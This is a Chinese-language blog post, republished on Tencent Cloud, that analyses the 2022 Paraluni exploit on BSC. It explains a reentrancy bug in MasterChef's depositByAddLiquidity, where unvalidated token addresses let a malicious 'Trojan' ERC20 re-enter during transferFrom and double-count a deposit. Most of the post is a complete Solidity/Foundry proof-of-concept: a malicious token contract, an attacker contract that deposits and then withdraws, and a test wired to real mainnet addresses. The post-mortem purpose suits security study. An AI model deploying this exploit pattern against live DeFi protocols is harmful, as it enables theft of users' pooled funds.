前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Paraluni Hack Reply

Paraluni Hack Reply

作者头像
Tiny熊
发布2022-04-08 14:17:33
5850
发布2022-04-08 14:17:33
举报
文章被收录于专栏:深入浅出区块链技术

本文作者:bixia1994[1]

RefLink:

twitter[2]

tx[3]

Analyze:

整体的思路是特洛伊木马 token 的思路,重入 masterChef 中的 depositByAddLiquidity方法。该方法的核心错误逻辑在于:它只检查了 lpToken 的地址合法性,没有检查 token0,token1 的地址合法性。从而让 token0 可以做成一个特洛伊木马,在 token0 里面 transfer 一个合法的 token,从而成功添加流动性;而导致 deposit 重复计算。

代码语言:javascript
复制
vars.oldBalance = IERC20(_lpAddress).balanceOf(address(this));
        (vars.amountA, vars.amountB, vars.liquidity) = paraRouter.addLiquidity(_tokens[0], _tokens[1], _amounts[0], _amounts[1], 1, 1, address(this), block.timestamp + 600);
        vars.newBalance = IERC20(_lpAddress).balanceOf(address(this));
        require(vars.newBalance > vars.oldBalance, "B:E");
        vars.liquidity = vars.newBalance.sub(vars.oldBalance);

        _deposit(_pid, liquidity, _user);

Type:

re-entry

Chain:

BSC

实现难点:

depositByAddLiquidity 的函数签名中,包含一个 address[2] memory _tokens; 如何正确构造一个 address[2] memroy 的结构

代码语言:javascript
复制
function depositByAddLiquidity(uint256 _pid, address[2] memory _tokens, uint256[2] memory _amounts)

在 solidity 中,构造一个位于 memory 的动态数组,一般是通过如下的方式来构造:

代码语言:javascript
复制
address[] memory _tokens = new address[](2 "] memory _tokens = new address[");
_tokens[0] = address(token0);
_tokens[1] = address(token1);

但是这样构造出来的_tokens 数组,其类型是:address[] memory 而不是 address[2] memory;

正确的构造方式应该如下:

代码语言:javascript
复制
address[2] memory _tokens = [address(token0), adderss(token1)];

在特洛伊木马的 ERC20 token 中,trasnferFrom 按照 ERC20 的标准是需要 return 一个 bool 值的。因为我们在写特洛伊木马的 ERC20 token 是直接继承的 OpenZeppelin 的 ERC20,那么应该是直接调用 super.transferFrom();但问题在于是应该直接写 super.transferFrom 呢还是应该写 return super.transferFrom 呢?

即:

代码语言:javascript
复制
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) {
        /// call from router.addLiquidity
        if(msg.sender == address(router)) {
            if (reentry == 0) {
                reentry++;
                if (shouldExecute) {
                    hack.hack2();
                }
               return super.transferFrom(_from, _to, _value);
               ///super.transferFrom(_from, _to, _value); ??


            }
            if (reentry == 1) {
                return super.transferFrom(_from, _to, _value);
               ///super.transferFrom(_from, _to, _value); ??
            }

        } else {
            return super.transferFrom(_from, _to, _value);
               ///super.transferFrom(_from, _to, _value); ??
        }



    }

经过测试,是应该写 return super.transferFrom 而不是直接的 super.transferFrom

这里的 super 应该理解为一个 inner function 的调用,所以对于一个 inner function,其返回值也只会返回给上层函数,所以这里还需要把 inner function 的返回值再返回出去,这样才能够真正的去 return 一个返回值,否则就会 return 一个默认值 false。

在具体实现的时候,还有一个难点,也是一个设计上的难点:一共有两个 token 的 transferFrom,是不是两个 token 都应该做特洛伊木马,还是只需要一个 token 做特洛伊木马,另一个 token 配合就行?

因为特洛伊木马 token 的调用关系如下:所以简单来说,另一个 token 必须要配合特洛伊木马 token 来执行,而自己不应该执行。所以需要在其中一个 token 加一个判断条件:shouldExecute, 对于特洛伊木马 token,shouldExeucte 应该为 true,对于配合执行的 token,shouldExecute 为 false

代码语言:javascript
复制
///     masterchef.depositByAddLiquidity(tokenA, tokenB)
///         paraRouter.addLiquidity(tokenA, tokenB)
///             paraRouter.safeTransferFrom(tokenA, masterchef, pair, amount)
///                 tokenA.transferFrom(masterchef, pair, amount)
///                     masterchef.depositByAddLiquidity(usdt, busd)
///                         paraRouter.addLiquidity(usdt, busd)
///                             paraRouter.safeTransferFrom(usdt, masterchef, pair, amount)
///                                 usdt.transferFrom(masterchef, pair, amount)
///                                 busd.transferFrom(masterchef, pair, amount) // from another token, which must cooperate with te Trojan token
///                             pair.mint(lp) = amountA
///                         var.newBalance = amountA
///                     masterChef._deposit(_pid,amountA,_user)
///                 tokenB.transferFrom(masterChef, pair, amount) // from another token, which must cooperate with te Trojan token
///                 pair.mint(lp) = amountB  => useless!!!
///             var.newBalance = amountA!!!
///         masterchef._deposit(_pid,amountA,_user)

POC

代码语言:javascript
复制
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.0;


import "ds-test/test.sol";
import "forge-std/Vm.sol";
import "forge-std/stdlib.sol";

import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IMasterChef} from "./IMasterChef.sol";
import {IParaRouter} from "./IParaRouter.sol";


///妥妥的paradigm的特洛伊木马思路,关键点在于
///ERC20.transfer(user.transfer) 构造一个ERC20代币,在里面的transfer时,去deposit一个USDC的token,再次调用deposit,这样就可以重复计算两次balance
/// hack.hack()
///     masterchef.depositByAddLiquidity(tokenA, tokenB)
///         paraRouter.addLiquidity(tokenA, tokenB)
///             paraRouter.safeTransferFrom(tokenA, masterchef, pair, amount)
///                 tokenA.transferFrom(masterchef, pair, amount)
///                     masterchef.depositByAddLiquidity(usdt, busd)
///                         paraRouter.addLiquidity(usdt, busd)
///                             paraRouter.safeTransferFrom(usdt, masterchef, pair, amount)
///                                 usdt.transferFrom(masterchef, pair, amount)
///                             pair.mint(lp) = amountA
///                         var.newBalance = amountA
///                     masterChef._deposit(_pid,amountA,_user)
///                 pair.mint(lp) = amountB  => useless!!!
///             var.newBalance = amountA!!!
///         masterchef._deposit(_pid,amountA,_user)
contract DamnToken is ERC20 {
    IERC20 public token;

    IParaRouter public router;
    Hack public hack;
    bool public shouldExecute = false;
    uint256 reentry = 0;
    constructor(
        string memory name,
        string memory symbol,
        IERC20 _token,
        IParaRouter _router,
        Hack _hack,
        bool _shouldExecute) ERC20(name, symbol)
    {
        token = _token;
        router = _router;
        hack = _hack;
        shouldExecute = _shouldExecute;
        _mint(msg.sender, 100000 ether );
    }
    /// @dev 特洛伊木马:
    function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) {
        /// call from router.addLiquidity
        if(msg.sender == address(router)) {
            if (reentry == 0) {
                reentry++;
                if (shouldExecute) {
                    hack.hack2();
                }
                return super.transferFrom(_from, _to, _value);

            }
            if (reentry == 1) {
                return token.transferFrom(_from, _to, _value);
            }

        } else {
            return super.transferFrom(_from, _to, _value);
        }



    }
}

contract Hack is DSTest, stdCheats {
    IMasterChef public masterChef;
    DamnToken public damnToken;
    DamnToken public damnToken2;
    IParaRouter public router;
    IERC20 public usdt;
    IERC20 public busd;
    Vm public vm = Vm(HEVM_ADDRESS);
    constructor(
        IMasterChef _masterChef,
        IParaRouter _router,
        IERC20 _usdt,
        IERC20 _busd)
    {
        masterChef = _masterChef;
        router = _router;
        damnToken = new DamnToken("DamnToken", "DT", usdt, router, this, true);
        damnToken2 = new DamnToken("DamnToken2", "DT2", busd, router, this, false);
        usdt = _usdt;
        busd = _busd;
        vm.label(address(damnToken), "damnToken");
        vm.label(address(damnToken2), "damnToken2");
    }
    function startHack() public {
        damnToken.approve(address(masterChef), type(uint256).max);
        damnToken2.approve(address(masterChef), type(uint256).max);
        usdt.approve(address(masterChef), type(uint256).max);
        busd.approve(address(masterChef), type(uint256).max);
        address[2] memory tokens = [address(damnToken), address(damnToken2)];
        uint256[2] memory amounts = [uint256(1000 ether), uint256(1000 ether)];
        masterChef.depositByAddLiquidity(18,tokens,amounts);
        //getUserInfo
        (uint256 amount, ) = masterChef.userInfo(18, address(this));
        //withdraw
        masterChef.withdraw(18, amount);
    }
    function hack2() public {
        address[2] memory tokens = [address(usdt), address(busd)];
        uint256[2] memory amounts = [uint256(1000 ether), uint256(1000 ether)];

        masterChef.depositByAddLiquidity(18,tokens,amounts);
    }

}
contract ParaluniTest is DSTest , stdCheats {
    address public paraProxyAddr = 0x633Fa755a83B015cCcDc451F82C57EA0Bd32b4B4;
    address public paraImplAddr = 0xA386F30853A7EB7E6A25eC8389337a5C6973421D;
    address public lpAddr = 0x3fD4FbD7a83062942b6589A2E9e2436dd8e134D4;
    address public pancakeFactory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
    address public usdtAddr = 0x55d398326f99059fF775485246999027B3197955;
    address public busdAddr = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
    address public pair = 0x7EFaEf62fDdCCa950418312c6C91Aef321375A00;
    address public paraRouter = 0x48Bb5f07e78f32Ac7039366533D620C72c389797;
    address public ugt = 0xbc5db89CE5AB8035A71c6Cd1cd0F0721aD28B508;
    address public ubt = 0xcA2ca459Ec6E4F58AD88AEb7285D2e41747b9134;

    Hack public hack;

    address public alice = address(0xdeadbeef);

    Vm public vm = Vm(HEVM_ADDRESS);

    function setUp() public {
        hack = new Hack(
            IMasterChef(paraProxyAddr),
            IParaRouter(payable(paraRouter)),
            IERC20(usdtAddr),
            IERC20(busdAddr)
        );
        vm.label(address(hack), "hack");
        vm.label(paraProxyAddr, "paraProxy");
        vm.label(paraImplAddr, "paraImpl");
        vm.label(lpAddr, "lp");
        vm.label(pancakeFactory, "pancakeFactory");
        vm.label(usdtAddr, "usdt");
        vm.label(busdAddr, "busd");
        vm.label(pair, "pair");
        vm.label(paraRouter, "paraRouter");

        tip(usdtAddr, address(hack), 1000 ether);
        tip(busdAddr, address(hack), 1000 ether);

        emit log_named_uint("USDT balance of Hack", IERC20(usdtAddr).balanceOf(address(hack)));
        emit log_named_uint("BUSD balance of Hack", IERC20(busdAddr).balanceOf(address(hack)));

    }
    function testHack() public {
        hack.startHack();
    }




}

参考资料

[1]

bixia1994: https://learnblockchain.cn/people/3295

[2]

twitter: https://twitter.com/peckshield/status/1502815435498176514

[3]

tx: https://versatile.blocksecteam.com/tx/bsc/0x70f367b9420ac2654a5223cc311c7f9c361736a39fd4e7dff9ed1b85bab7ad54

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-03-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 深入浅出区块链技术 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • RefLink:
  • Analyze:
  • Type:
  • Chain:
  • 实现难点:
  • POC
    • 参考资料
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档